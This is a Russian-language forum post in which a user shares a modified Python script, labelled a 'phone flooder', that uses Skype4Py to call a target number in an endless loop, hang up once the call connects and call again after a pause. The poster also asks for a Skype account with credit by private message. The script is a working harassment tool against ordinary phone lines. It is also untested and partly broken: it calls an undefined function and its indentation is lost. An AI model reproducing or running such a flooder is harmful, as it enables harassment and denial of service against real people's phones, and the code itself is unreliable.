
17.04.2009, 12:03
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
Немного переделал. как мне удобнее+ сделал какую-никакую проверку входных значений + русифицировал и снес английские комменты, так как лично мне они затрудняли чтение кода
Насчет работоспособности то нет возможности проверить, так как дома буду не раньше понедельника, а на работе скайпа нету  , да и акков с балансом тоже нету, да и с синтаксисом для меня тут есть непонятки. Буду дома - потыкаю поближе , так как без скайпа это имеет мало смысла 
Был бы благодарен, если бы в личку подкинули акк с балансом
Код:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger
import sys, time, Skype4Py
from Skype4Py import call
skype = Skype4Py.Skype()
def OnCall(call, status):
global CallStatus
CallStatus = status
print u"Статус звонка: " + skype.Convert.CallStatusToText(status)
if CallStatusText(status)=="Call in Progress":
call.Finish()
print u"Ждем-с..."
def OnAttach(status):
print u"API статус присоединенного: " + skype.Convert.AttachmentStatusToText(status)
if status == Skype4Py.apiAttachAvailable:
skype.Attach()
print u"Введите номер телефона, например +1234567890: "
num = raw_input("")
print u"Ведите паузу (в секундах): "
pause = raw_input("")
while True:
CallStatus = 0
CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
if num[-1:].isdigit():
if pause.isdigit():
skype.OnAttachmentStatus = OnAttach
skype.OnCallStatus = OnCall
if not skype.Client.IsRunning:
print u"Запускаем Skype.."
skype.Client.Start()
print u"Присоединяемся к Skype.."
skype.Attach()
skype.PlaceCall(num)
Found = False
while not CallStatus in CallIsFinished:
pass
time.sleep(int(pause))
else:
print u"Прекратите ху*нё* страдать! Введите ЦИФЕРНОЕ значение паузы!"
keypressed = raw_input("")
sys.exit()
else:
print u"Может нормальный номер телефона введем ?"
keypressed = raw_input("")
sys.exit()
|
|
|